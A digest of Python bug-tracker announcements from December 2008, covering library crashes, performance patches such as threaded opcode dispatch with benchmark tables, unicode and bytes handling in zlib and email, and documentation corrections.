In-Reply-To: <1230295606.47.0.842082380856.issue4749@psf.upfronthosting.co.za>
Message-ID: <1230295606.47.0.842082380856.issue4749@psf.upfronthosting.co.za>


New submission from Mohammad Al <mramahi77 at hotmail.com>:

It seems that RotatingFileHandler  is experiencing an issue when 
attempting to rotate log files under Windows. The following errors are 
received:

Traceback (most recent call last):
  File "C:\Python25\lib\logging\handlers.py", line 73, in emit
    if self.shouldRollover(record):
  File "C:\Python25\lib\logging\handlers.py", line 147, in 
shouldRollover
    self.stream.seek(0, 2)  #due to non-posix-compliant Windows feature
ValueError: I/O operation on closed file
Traceback (most recent call last):
  File "C:\Python25\lib\logging\handlers.py", line 73, in emit
    if self.shouldRollover(record):

I tried the code on Python 2.5.2 and 2.5.4 under Windows XP SP 2, with 
the same results. To reproduce run the attached scripts few times. The 
first time the handlers attempt to rotate the log files the error 
message above is received. 

In addition to crashing the application, log files are getting lost as 
a result, which is a serious issue. 

I have seen few complaints about this issue, but tickets were closed 
without a real resolution to the issue (unless I missed something)

----------
components: Library (Lib)
files: rothandlerbug.py
messages: 78293
nosy: mramahi77
severity: normal
status: open
title: Issue with RotatingFileHandler logging handler on Windows
type: crash
versions: Python 2.4, Python 2.5
Added file: http://bugs.python.org/file12449/rothandlerbug.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4749>
_______________________________________

From report at bugs.python.org  Fri Dec 26 14:19:59 2008
From: report at bugs.python.org (anatoly techtonik)
Date: Fri, 26 Dec 2008 13:19:59 +0000
Subject: [New-bugs-announce] [issue4750] tarfile keeps excessive dir
	structure in compressed files
In-Reply-To: <1230297599.68.0.395552641842.issue4750@psf.upfronthosting.co.za>
Message-ID: <1230297599.68.0.395552641842.issue4750@psf.upfronthosting.co.za>


New submission from anatoly techtonik <techtonik at gmail.com>:

When tarfile is directed to create tar.gz compressed archive file in a
path different from current, it saves full path information in .gz
header where only filename is required.

This causes problems with decompression utilities, such as 7zip. The
testsuite with patch are attached.

{{{
tar -czf dist\create_tar.tar.gz package
7z l dist\create_tar.tar.gz > tar.out
python test_create.tar.gz.py
7z l dist\create_py.tar.gz > py.out
diff -pu3 tar.out py.out
}}}

{{{
--- tar.out     Fri Dec 26 15:12:42 2008
+++ py.out      Fri Dec 26 15:12:42 2008
@@ -1,10 +1,10 @@

 7-Zip 4.57  Copyright (c) 1999-2007 Igor Pavlov  2007-12-06

-Listing archive: dist\create_tar.tar.gz
+Listing archive: dist\create_py.tar.gz

    Date      Time    Attr         Size   Compressed  Name
 ------------------- ----- ------------ ------------ 
------------------------
-2008-12-26 15:12:41              10240          170  create_tar.tar
+2008-12-26 15:03:39              10240          141  dist/create_py.tar
 ------------------- ----- ------------ ------------ 
------------------------
-                                 10240          170  1 files, 0 folders
+                                 10240          141  1 files, 0 folders
}}}

See also issue 1886 and msg61515 in particular

----------
components: Distutils, Library (Lib)
files: test_tarfile.extrapath.zip
messages: 78296
nosy: techtonik
severity: normal
status: open
title: tarfile keeps excessive dir structure in compressed files
versions: Python 2.5, Python 2.6, Python 2.7
Added file: http://bugs.python.org/file12451/test_tarfile.extrapath.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4750>
_______________________________________

From report at bugs.python.org  Fri Dec 26 14:39:16 2008
From: report at bugs.python.org (ebfe)
Date: Fri, 26 Dec 2008 13:39:16 +0000
Subject: [New-bugs-announce] [issue4751] Patch for better thread support in
	hashlib
In-Reply-To: <1230298756.92.0.632482701363.issue4751@psf.upfronthosting.co.za>
Message-ID: <1230298756.92.0.632482701363.issue4751@psf.upfronthosting.co.za>


New submission from ebfe <knabberknusperhaus at yahoo.de>:

The hashlib functions provided by _hashopenssl.c hold the GIL all the
time although the underlying openssl-library is basically thread-safe.
I've attached a patch (svn diff) which basically does four things:

* If python is compiled with thread-support, the EVPobject is extended
by an additional PyThread_type_lock which protects the objects individually.
* The 'update' function releases the GIL if the to-be-hashed object is a
Bytes-object and therefor provides trustworthy locking (all other types,
including subclasses, are not trustworthy!). This allows multiple
threads to do hashing in parallel.
* The EVP_hash function removes duplicated code.
* The situation regarding unicode objects is now more meaningful. Upon
passing a unicode-string to the .update() function, the original hashlib
throws a "TypeError: object supporting the buffer API required" which is
confusing. I think it's perfectly valid not to accept unicode-strings as
input and people should required to call str.encode() upon their strings
before hashing, so a well-defined byte-representation of their strings
get hashed. Therefor I patched the MY_GET_BUFFER_VIEW_OR_ERROUT-macro to
throw "TypeError: Unicode-objects must be encoded before hashing". This
also fixes issue #1118


I've tested this patch and did not run into problems. CPU occupancy
relies on the buffer-size passed to .update() as releasing the GIL is
basically not worth the effort for very small buffers. More testing may
be needed...

----------
components: Library (Lib)
files: hashopenssl_threads.diff
keywords: patch
messages: 78297
nosy: ebfe
severity: normal
status: open
title: Patch for better thread support in hashlib
type: performance
versions: Python 3.0
Added file: http://bugs.python.org/file12453/hashopenssl_threads.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4751>
_______________________________________

From report at bugs.python.org  Fri Dec 26 22:06:43 2008
From: report at bugs.python.org (Andrey Petrov)
Date: Fri, 26 Dec 2008 21:06:43 +0000
Subject: [New-bugs-announce] [issue4752] Error in SocketServer UDP
	documentation
In-Reply-To: <1230325603.01.0.864584000034.issue4752@psf.upfronthosting.co.za>
Message-ID: <1230325603.01.0.864584000034.issue4752@psf.upfronthosting.co.za>


New submission from Andrey Petrov <andrey.petrov at shazow.net>:

In the SocketServer.UDPServer Example, the second last line:

    server = SocketServer.UDPServer((HOST, PORT), BaseUDPRequestHandler)

Should be:

    server = SocketServer.UDPServer((HOST, PORT), MyUDPHandler)

----------
assignee: georg.brandl
components: Documentation
messages: 78305
nosy: georg.brandl, shazow
severity: normal
status: open
title: Error in SocketServer UDP documentation
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4752>
_______________________________________

From report at bugs.python.org  Fri Dec 26 22:09:38 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Fri, 26 Dec 2008 21:09:38 +0000
Subject: [New-bugs-announce] [issue4753] Faster opcode dispatch on gcc
In-Reply-To: <1230325778.98.0.752974375077.issue4753@psf.upfronthosting.co.za>
Message-ID: <1230325778.98.0.752974375077.issue4753@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

This patch implements what is usually called "threaded code" for the
ceval loop on compilers which support it (only gcc). The idea is that
there is a separate opcode dispatch epilog at the end of each opcode,
which allows the CPU to make much better use of its branch prediction
capabilities. The net result is a 15-20% average speedup on pybench and
pystone, with higher speedups on very tight loops (see below for the
full pybench result chart).

The opcode jump table is generated by a separate script which is called
as part of the Makefile (just as the asdl building script already is).

On compilers other than gcc, performance will of course be unchanged.


Test                             minimum run-time        average  run-time
                                 this    other   diff    this    other 
 diff
-------------------------------------------------------------------------------
          BuiltinFunctionCalls:   100ms   107ms   -7.1%   101ms   110ms
  -8.2%
           BuiltinMethodLookup:    76ms   106ms  -28.1%    78ms   106ms
 -26.5%
                 CompareFloats:   108ms   141ms  -23.2%   108ms   141ms
 -23.2%
         CompareFloatsIntegers:   171ms   188ms   -9.4%   173ms   204ms
 -15.3%
               CompareIntegers:   165ms   213ms  -22.6%   168ms   224ms
 -25.1%
        CompareInternedStrings:   127ms   169ms  -24.6%   127ms   169ms
 -24.8%
                  CompareLongs:    95ms   124ms  -23.1%    95ms   126ms
 -24.5%
                CompareStrings:   109ms   136ms  -20.2%   111ms   139ms
 -19.9%
    ComplexPythonFunctionCalls:   131ms   150ms  -12.4%   136ms   151ms
 -10.2%
                 ConcatStrings:   159ms   171ms   -6.9%   160ms   173ms
  -7.4%
               CreateInstances:   148ms   157ms   -5.6%   150ms   158ms
  -4.9%
            CreateNewInstances:   112ms   117ms   -4.3%   112ms   118ms
  -4.6%
       CreateStringsWithConcat:   144ms   198ms  -27.3%   148ms   199ms
 -25.7%
                  DictCreation:    90ms   104ms  -13.3%    90ms   104ms
 -13.1%
             DictWithFloatKeys:   117ms   153ms  -23.7%   117ms   154ms
 -24.0%
           DictWithIntegerKeys:   104ms   153ms  -32.3%   104ms   154ms
 -32.5%
            DictWithStringKeys:    90ms   140ms  -35.7%    90ms   141ms
 -36.3%
                      ForLoops:   100ms   161ms  -38.1%   100ms   161ms
 -38.1%
                    IfThenElse:   123ms   170ms  -28.0%   125ms   171ms
 -27.1%
                   ListSlicing:   142ms   141ms   +0.3%   142ms   142ms
  +0.2%
                NestedForLoops:   135ms   190ms  -29.0%   135ms   190ms
 -29.0%
          NormalClassAttribute:   249ms   281ms  -11.5%   249ms   281ms
 -11.3%
       NormalInstanceAttribute:   110ms   153ms  -28.2%   111ms   154ms
 -28.1%
           PythonFunctionCalls:   106ms   130ms  -18.7%   108ms   131ms
 -17.2%
             PythonMethodCalls:   151ms   169ms  -10.1%   152ms   169ms
  -9.8%
                     Recursion:   183ms   242ms  -24.7%   191ms   243ms
 -21.4%
                  SecondImport:   142ms   138ms   +2.7%   144ms   139ms
  +3.4%
           SecondPackageImport:   146ms   149ms   -2.3%   148ms   150ms
  -1.5%
         SecondSubmoduleImport:   201ms   193ms   +3.9%   201ms   195ms
  +3.4%
       SimpleComplexArithmetic:    90ms   112ms  -19.6%    90ms   112ms
 -19.8%
        SimpleDictManipulation:   172ms   230ms  -25.2%   173ms   231ms
 -25.0%
         SimpleFloatArithmetic:    98ms   133ms  -26.3%    99ms   137ms
 -27.9%
      SimpleIntFloatArithmetic:   134ms   175ms  -23.6%   138ms   176ms
 -21.6%
       SimpleIntegerArithmetic:   134ms   183ms  -26.8%   141ms   183ms
 -23.1%
        SimpleListManipulation:    91ms   143ms  -36.3%    93ms   143ms
 -35.1%
          SimpleLongArithmetic:    88ms   108ms  -17.9%    91ms   109ms
 -16.2%
                    SmallLists:   127ms   162ms  -21.6%   129ms   164ms
 -21.2%
                   SmallTuples:   149ms   177ms  -15.6%   151ms   178ms
 -15.1%
         SpecialClassAttribute:   423ms   426ms   -0.7%   426ms   430ms
  -0.9%
      SpecialInstanceAttribute:   110ms   154ms  -28.2%   111ms   154ms
 -28.3%
                StringMappings:   428ms   443ms   -3.4%   432ms   449ms
  -3.7%
              StringPredicates:   124ms   161ms  -23.1%   125ms   162ms
 -22.7%
                 StringSlicing:   207ms   223ms   -7.1%   208ms   228ms
  -8.7%
                     TryExcept:    72ms   166ms  -56.3%    73ms   166ms
 -56.2%
                    TryFinally:    93ms   120ms  -22.9%    93ms   124ms
 -25.2%
                TryRaiseExcept:    52ms    64ms  -19.2%    52ms    65ms
 -19.2%
                  TupleSlicing:   177ms   195ms   -9.1%   178ms   198ms
 -10.2%
                   WithFinally:   147ms   163ms  -10.2%   147ms   164ms
 -10.1%
               WithRaiseExcept:   156ms   173ms  -10.1%   157ms   174ms
  -9.7%
-------------------------------------------------------------------------------
Totals:                          6903ms  8356ms  -17.4%  6982ms  8443ms
 -17.3%

----------
components: Interpreter Core
files: threadedceval1.patch
keywords: patch
messages: 78306
nosy: pitrou
priority: normal
severity: normal
stage: patch review
status: open
title: Faster opcode dispatch on gcc
type: performance
versions: Python 3.1
Added file: http://bugs.python.org/file12457/threadedceval1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4753>
_______________________________________

From report at bugs.python.org  Fri Dec 26 23:49:06 2008
From: report at bugs.python.org (Hirokazu Yamamoto)
Date: Fri, 26 Dec 2008 22:49:06 +0000
Subject: [New-bugs-announce] [issue4754] winsound documentation (about
	stoping sounds)
In-Reply-To: <1230331746.17.0.591336113969.issue4754@psf.upfronthosting.co.za>
Message-ID: <1230331746.17.0.591336113969.issue4754@psf.upfronthosting.co.za>


New submission from Hirokazu Yamamoto <ocean-city at m2.ccsnet.ne.jp>:

This comes from Issue4741. The patch
- clarify meaning of None as the parameter of *sound* to
  PlaySound
- notify SND_PURGE is not supported by MS now

----------
assignee: georg.brandl
components: Documentation
files: winsound_doc.patch
keywords: patch
messages: 78313
nosy: georg.brandl, ocean-city
severity: normal
status: open
title: winsound documentation (about stoping sounds)
versions: Python 2.6
Added file: http://bugs.python.org/file12458/winsound_doc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4754>
_______________________________________

From report at bugs.python.org  Sat Dec 27 05:00:35 2008
From: report at bugs.python.org (Skip Montanaro)
Date: Sat, 27 Dec 2008 04:00:35 +0000
Subject: [New-bugs-announce] [issue4755] Common path prefix
In-Reply-To: <1230350435.61.0.221193783724.issue4755@psf.upfronthosting.co.za>
Message-ID: <1230350435.61.0.221193783724.issue4755@psf.upfronthosting.co.za>


New submission from Skip Montanaro <skip at pobox.com>:

os.path.commonprefix returns the common prefix of a list of paths taken character-by-character.  This can 
return invalid paths.  For example, os.path.commonprefix(["/export/home/dave", "/etc/passwd"]) will return "/e", which likely has no meaning as a path, at least in the context of the input list.

Ideally, os.path.commonprefix would operate component-by-component, but people rely on the existing 
character-by-character operation, so it has been so far impossible to change semantics.  There are several 
possible ways to solve this problem.  One, change how commonprefix behaves.  Two, add a flag to 
commonprefix to allow it to operate component-by-component if desired.  Three, add a new function to 
os.path.

I personally prefer the first option.  Aside from the semantic change though, it presents the problem of 
where to put the old definition of commonprefix.  It's clearly of some use or people wouldn't have co-
opted it for non-filesystem use.  It could go in the string module, but that's been living a life in limbo 
since the creation of string methods.  People have been loathe to add new functionality there.  The second 
option seems to me like would just be a hack on top of already broken behavior and probably require the 
currently slightly broken behavior as the default to boot, so I won't go there.  Since option one is 
perhaps not going to be available to me, I've implemented the third option as a new function, 
commonpathprefix.  See the attached patch.  It includes test cases and documentation changes.

----------
components: Library (Lib)
files: cpp.diff
keywords: needs review, patch, patch
messages: 78338
nosy: skip.montanaro
severity: normal
stage: patch review
status: open
title: Common path prefix
type: behavior
versions: Python 3.1
Added file: http://bugs.python.org/file12469/cpp.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4755>
_______________________________________

From report at bugs.python.org  Sat Dec 27 06:44:07 2008
From: report at bugs.python.org (Gabriel Genellina)
Date: Sat, 27 Dec 2008 05:44:07 +0000
Subject: [New-bugs-announce] [issue4756] zipfile.is_zipfile: added support
	for file-like objects
In-Reply-To: <1230356647.32.0.19774175032.issue4756@psf.upfronthosting.co.za>
Message-ID: <1230356647.32.0.19774175032.issue4756@psf.upfronthosting.co.za>


New submission from Gabriel Genellina <gagsl-py2 at yahoo.com.ar>:

Patch to zipfile.is_zipfile, adding support for file and file-like 
objects. Includes test cases and documentation updates.

This fixes issue4241 too.

----------
components: Library (Lib)
files: is_zipfile_filelike.diff
keywords: patch
messages: 78342
nosy: gagenellina
severity: normal
status: open
title: zipfile.is_zipfile: added support for file-like objects
type: behavior
versions: Python 2.7, Python 3.1
Added file: http://bugs.python.org/file12470/is_zipfile_filelike.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4756>
_______________________________________

From martin at v.loewis.de  Sat Dec 27 09:51:49 2008
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 27 Dec 2008 09:51:49 +0100
Subject: [New-bugs-announce] [issue4746] Misguiding wording 3.0 c-api
 reference
In-Reply-To: <1230206058.61.0.0555271028703.issue4746@psf.upfronthosting.co.za>
References: <1230206058.61.0.0555271028703.issue4746@psf.upfronthosting.co.za>
Message-ID: <4955ECA5.7060501@v.loewis.de>

> I guess the phrase "you must not provide storage" is a failed
> translation and not meant like that. It should say "you are not required
> to provide storage". It's confusing to have such strong wording without
> reason.

It's stronger than "you are not required to": if you do provide storage
(by allocating memory), then this memory most likely will be garbage,
and you must not attempt to free it afterwards (as doing so would cause
a crash).

From report at bugs.python.org  Sat Dec 27 13:58:18 2008
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 27 Dec 2008 12:58:18 +0000
Subject: [New-bugs-announce] [issue4757] reject unicode in zlib
In-Reply-To: <1230382698.86.0.846541744822.issue4757@psf.upfronthosting.co.za>
Message-ID: <1230382698.86.0.846541744822.issue4757@psf.upfronthosting.co.za>


New submission from STINNER Victor <victor.stinner at haypocalc.com>:

Python 2.x allows to encode any byte string (str) and ASCII unicode 
string (unicode):

$ python
Python 2.5.1 (r251:54863, Jul 31 2008, 23:17:40)
>>> import zlib
>>> zlib.compress('abc')
"x\x9cKLJ\x06\x00\x02M\x01'"
>>> zlib.compress(u'abc')
"x\x9cKLJ\x06\x00\x02M\x01'"
>>> zlib.compress(u'abc\xe9')
...
UnicodeEncodeError: 'ascii' codec can't encode character u'\xe9' ...

I'm not sure that this behaviour was really wanted become the 
decompress operation is not symetric (the result type is always byte 
string):

$ python
Python 2.5.1 (r251:54863, Jul 31 2008, 23:17:40)
>>> import zlib
>>> zlib.decompress("x\x9cKLJ\x06\x00\x02M\x01'")
'abc'

---

Python 3.0 accepts any string: bytes or characters. But decompress 
always produce bytes string:

$ ./python
Python 3.1a0 (py3k:67926M, Dec 26 2008, 23:59:07)
>>> import zlib
>>> zlib.compress(b'abc')
b"x\x9cKLJ\x06\x00\x02M\x01'"
>>> zlib.compress('abc')
b"x\x9cKLJ\x06\x00\x02M\x01'"
>>> zlib.compress('abc\xe9')
b'x\x9cKLJ>\xbc\x12\x00\x06\xca\x02\x93'
>>> zlib.compress('abc\xe9'.encode('utf-8'))
b'x\x9cKLJ>\xbc\x12\x00\x06\xca\x02\x93'
>>> zlib.decompress(b'x\x9cKLJ>\xbc\x12\x00\x06\xca\x02\x93')
b'abc\xc3\xa9'

The most strange operation is the decompression of an unicode string:

$ ./python
>>> zlib.decompress('x\x9cKLJ>\xbc\x12\x00\x06\xca\x02\x93')
...
zlib.error: Error -3 while decompressing data: incorrect header check

---

I propose to change zlib API to reject unicode string and use explicit 
conversion to/from bytes. Functions/methods:
 - compress(bytes, ...)
 - decompress(bytes, ...)
 - <compress object>.compress(bytes, ...)
 - <decompress object>.decompress(bytes, ...)
 - crc32(bytes, value=0)
 - adler(bytes, value=1)

Note: binascii.crc32() already rejects unicode string.

The behaviour may kept in Python 3.0.x and only changed in Python 3.1.

----------
components: Extension Modules
files: zlib_bytes.patch
keywords: patch
messages: 78356
nosy: haypo
severity: normal
status: open
title: reject unicode in zlib
type: behavior
versions: Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12472/zlib_bytes.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4757>
_______________________________________

From report at bugs.python.org  Sat Dec 27 14:14:40 2008
From: report at bugs.python.org (David M. Beazley)
Date: Sat, 27 Dec 2008 13:14:40 +0000
Subject: [New-bugs-announce] [issue4758] Python 3.0 internet documentation
	needs work
In-Reply-To: <1230383680.06.0.695552325819.issue4758@psf.upfronthosting.co.za>
Message-ID: <1230383680.06.0.695552325819.issue4758@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

I have recently completed a pretty thorough survey of library 
documentation for Python 3.0 in conjunction with an update I'm making to 
my book.   This issue is not so much a bug as a documentation request.

For all of the library modules related to network programming, it would 
be extremely useful to be much very explicit about what methods work 
with strings and what methods requires byte.  So many of these modules 
operate on small fragments of data (e.g., send a request, add a header, 
parse a query string, etc.).  Sometimes using a string is okay, 
sometimes it's not and sadly, it's not often predictable.   Part of the 
problem is that the documentation has been written for a Python 2 world 
where text strings and binary data were interchangeable.

Anyways, this request minimally covers these modules:
 
      ftplib
      smtplib
      nntplib
      http.*
      urllib.*
      xmlrpc.*
      socketserver
      asynchat
      asyncore
    
If there is interest, I can submit more detailed notes from my own work, 
but I'm not sure how the documentation maintainer would want this.  
Separate issue for each?   Added as comments here?   Please advise.

----------
assignee: georg.brandl
components: Documentation
messages: 78361
nosy: beazley, georg.brandl
severity: normal
status: open
title: Python 3.0 internet documentation needs work
type: feature request
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4758>
_______________________________________

From report at bugs.python.org  Sun Dec 28 00:28:51 2008
From: report at bugs.python.org (Georg Brandl)
Date: Sat, 27 Dec 2008 23:28:51 +0000
Subject: [New-bugs-announce] [issue4759] bytearray.translate() should
	support None first argument
In-Reply-To: <1230420531.87.0.593761849441.issue4759@psf.upfronthosting.co.za>
Message-ID: <1230420531.87.0.593761849441.issue4759@psf.upfronthosting.co.za>


New submission from Georg Brandl <georg at python.org>:

bytes.translate() does. Patch attached.

----------
assignee: pitrou
components: Interpreter Core
files: bytearray-translate.diff
keywords: patch
messages: 78390
nosy: georg.brandl, pitrou
priority: normal
severity: normal
stage: patch review
status: open
title: bytearray.translate() should support None first argument
type: behavior
versions: Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12476/bytearray-translate.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4759>
_______________________________________

From report at bugs.python.org  Sun Dec 28 04:56:47 2008
From: report at bugs.python.org (David W. Lambert)
Date: Sun, 28 Dec 2008 03:56:47 +0000
Subject: [New-bugs-announce] [issue4760] cmp gone---What's new in 3.1
In-Reply-To: <1230436607.02.0.835606741355.issue4760@psf.upfronthosting.co.za>
Message-ID: <1230436607.02.0.835606741355.issue4760@psf.upfronthosting.co.za>


New submission from David W. Lambert <lambertdw at corning.com>:

http://docs.python.org/dev/3.0/whatsnew/3.1.html

To Other Language Changes  
add cmp removed.

I haven't installed version 3.1; I don't know if it has actually been 
removed.

----------
assignee: georg.brandl
components: Documentation
messages: 78394
nosy: LambertDW, georg.brandl
severity: normal
status: open
title: cmp gone---What's new in 3.1
versions: Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4760>
_______________________________________

From report at bugs.python.org  Sun Dec 28 15:58:38 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 28 Dec 2008 14:58:38 +0000
Subject: [New-bugs-announce] [issue4761] create Python wrappers for openat()
	and others
In-Reply-To: <1230476318.95.0.898909480668.issue4761@psf.upfronthosting.co.za>
Message-ID: <1230476318.95.0.898909480668.issue4761@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

Very recent POSIX versions have introduced a set of functions named
openat(), unlinkat(), etc. (*) which allow to access files relatively to
a directory pointed to by a file descriptor (rather than the
process-wide current working directory). They are necessary to implement
thread-safe directory traversal without any symlink attacks such as in
#4489. Providing Python wrappers for these functions would help creating
higher-level abstractions for secure directory traversal on platforms
that support it.

(*) http://www.opengroup.org/onlinepubs/9699919799/functions/openat.html

?The purpose of the openat() function is to enable opening files in
directories other than the current working directory without exposure to
race conditions. Any part of the path of a file could be changed in
parallel to a call to open(), resulting in unspecified behavior. By
opening a file descriptor for the target directory and using the
openat() function it can be guaranteed that the opened file is located
relative to the desired directory.?

----------
components: Extension Modules, Library (Lib)
messages: 78407
nosy: loewis, pitrou
priority: normal
severity: normal
status: open
title: create Python wrappers for openat() and others
type: feature request
versions: Python 2.7, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4761>
_______________________________________

From report at bugs.python.org  Sun Dec 28 17:57:09 2008
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 28 Dec 2008 16:57:09 +0000
Subject: [New-bugs-announce] [issue4762] PyFile_FromFd() doesn't set the
	file name
In-Reply-To: <1230483429.96.0.00901303311895.issue4762@psf.upfronthosting.co.za>
Message-ID: <1230483429.96.0.00901303311895.issue4762@psf.upfronthosting.co.za>


New submission from STINNER Victor <victor.stinner at haypocalc.com>:

PyFile_FromFd() never changes the name of new created file object:

$ ./python -c "import sys; print(sys.stdout.buffer.name, 
sys.stdout.name)"
0 0

Expected result: <stdout> <stdout>.

---

Binary mode:
 - with buffering == 0, the file object is a FileIO. Changing the name 
can be done with: file._name=new_name
 - with buffering != 0, the file object is a BufferedXXX() and 
file.raw is a FileIO. So we have to set: file.raw._name=new_name

If text mode, the file object is a TextIOWrapper and file.raw is a 
BufferedXXX() (buffering=0 is forbidden for text file). So changing 
the name can be done with: file.raw.raw._name=newname.

I'm not sure of the classes/types.

Note: PyFile_FromFd() shouldn't use PyErr_Clear() if changing the name 
fails.

----------
components: None
messages: 78419
nosy: haypo
severity: normal
status: open
title: PyFile_FromFd() doesn't set the file name
type: behavior
versions: Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4762>
_______________________________________

From report at bugs.python.org  Sun Dec 28 21:13:28 2008
From: report at bugs.python.org (garcia)
Date: Sun, 28 Dec 2008 20:13:28 +0000
Subject: [New-bugs-announce] [issue4763] PyErr_GivenExceptionMatches
	documentation out of date
In-Reply-To: <1230495208.55.0.311096414507.issue4763@psf.upfronthosting.co.za>
Message-ID: <1230495208.55.0.311096414507.issue4763@psf.upfronthosting.co.za>


New submission from garcia <ronald.garcia at rice.edu>:

The documentation for PyErr_GivenExceptionMatches states that "If given is 
NULL, a memory access violation will occur."  However, looking at the 
code, this is not the case:  the function returns 0 (read: false).
It appears, rather, that this function always succeeds.

----------
assignee: georg.brandl
components: Documentation
messages: 78429
nosy: garcia, georg.brandl
severity: normal
status: open
title: PyErr_GivenExceptionMatches documentation out of date
versions: Python 2.5, Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4763>
_______________________________________

From report at bugs.python.org  Mon Dec 29 02:03:54 2008
From: report at bugs.python.org (Jan Kaliszewski)
Date: Mon, 29 Dec 2008 01:03:54 +0000
Subject: [New-bugs-announce] [issue4764] open('existing_dir') -> IOError
	instance's attr filename is None
In-Reply-To: <1230512634.5.0.564476088999.issue4764@psf.upfronthosting.co.za>
Message-ID: <1230512634.5.0.564476088999.issue4764@psf.upfronthosting.co.za>


New submission from Jan Kaliszewski <zuo at chopin.edu.pl>:

Py2.4 and 2.5 (and probably other 2.x releases too):
>>> try: f=open('existing_dir')
... except IOError, exc: print exc.filename
...
None
(expected result: "existing_dir")

Py3.0 (and possibly 3.1 too):
>>> try: f=open('existing_dir')
... except IOError as exc: print(exc.filename)
...
None
(expected result: "existing_dir")

But no problems with:
open('existing_dir', 'w')
=> exc.filename=='existing_dir'
open('not_existing_file') 
=> exc.filename=='not_existing_file'

Guess:
It may be similar to issue #599163

Platform/system info:
[GCC 4.1.2 (Gentoo 4.1.2 p1.0.2)] on linux2
Linux 2.6.25-gentoo-r9 i686 Intel(R) Pentium(R) 4 CPU 2.40GHz
* Py2.4 == Python 2.4.4 (#1, Oct  7 2008, 13:16:18)
* Py2.5 == Python 2.5.2 (r252:60911, Sep 15 2008, 12:11:51)
* Py3.0 == Python 3.0 (r30:67503, Dec 29 2008, 01:15:48)

----------
components: Library (Lib)
messages: 78437
nosy: zuo
severity: normal
status: open
title: open('existing_dir') -> IOError instance's attr filename is None
type: behavior
versions: Python 2.4, Python 2.5, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4764>
_______________________________________

From report at bugs.python.org  Mon Dec 29 05:38:40 2008
From: report at bugs.python.org (Alex Fainshtein)
Date: Mon, 29 Dec 2008 04:38:40 +0000
Subject: [New-bugs-announce] [issue4765] IDLE fails to "Delete Custom Key
	Set" properly
In-Reply-To: <1230525520.13.0.417394561266.issue4765@psf.upfronthosting.co.za>
Message-ID: <1230525520.13.0.417394561266.issue4765@psf.upfronthosting.co.za>


New submission from Alex Fainshtein <alex_fainshtein at netzero.net>:

How to reproduce:
1. Start IDLE -> "Python Shell" window opens.
2. Open Options|"Configure Idle...".
3. In "idle" dialog select "Keys" tab.
4. Click "Set as New Custom Key Set" button.
5  In "New Custom Key Set" dialog, type a name, click "Ok".
4. Click "Apply". Then notice that in the folder

   C:\Documents and Settings\<user>\.idlerc,

   two new files appear, config-keys.cfg and config-main.cfg. The
contents of the latter is

[Keys]
default = 0
name = <Key Set Name>

SO FAR ALL IS OK.

5. Now go back to "idle" dialog, click "Delete Custom Key Set", then
"Apply". Notice that config-keys.cfg file disappeared, but
config-main.cfg neither disappeared nor changed. My guess, THIS IS THE BUG.

6. Now click "Ok" - no reaction. Click "Cancel" - crash: the Python
windows disappear. Try to restart IDLE - it WOULD NOT START until
config-main.cfg is manually deleted.

----------
components: IDLE
messages: 78439
nosy: alex_fainshtein
severity: normal
status: open
title: IDLE fails to "Delete Custom Key Set" properly
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4765>
_______________________________________

From report at bugs.python.org  Mon Dec 29 16:21:49 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 29 Dec 2008 15:21:49 +0000
Subject: [New-bugs-announce] [issue4766] email documentation needs to be
	precise about strings/bytes
In-Reply-To: <1230564109.29.0.851125901537.issue4766@psf.upfronthosting.co.za>
Message-ID: <1230564109.29.0.851125901537.issue4766@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

Documentation for the email package needs to be more clear about the 
usage of strings and bytes.  In particular:

1.  All operations that parse email messages such as message_from_file()
    or message_from_string() operate on *text*, not binary data.  So,
    the file must be opened in text mode.  Strings must be text strings,
    not binary strings.

2.  All operations that set/get the payload of a message operate on
    byte strings.   For example, using m.get_payload() on a Message
    object returns binary data as a byte string.

Opinion:  There might be other bug reports about this, but I'm not 
advocating that the email module should support reading messages from 
binary mode files or byte strings.  Email and MIME were originally 
developed with the assumption that messages would always be handled as 
text. Minimally, this assumed that messages would stay intact even if 
processed as 7-bit ASCII.   By extension, everything should still work 
if processed as Unicode.  So, I think the use of text-mode files is 
entirely consistent with this if you wanted to keep the module "as is." 

There may be some confusion on this matter because if you're reading or 
writing email messages (or sending them across a socket), you may 
encounter messages stored in the form of bytes strings instead of text.   
People will then wonder why a byte string can't be parsed by this module 
(especially given that email messages only use character values in the 
range of 0-127).

----------
assignee: georg.brandl
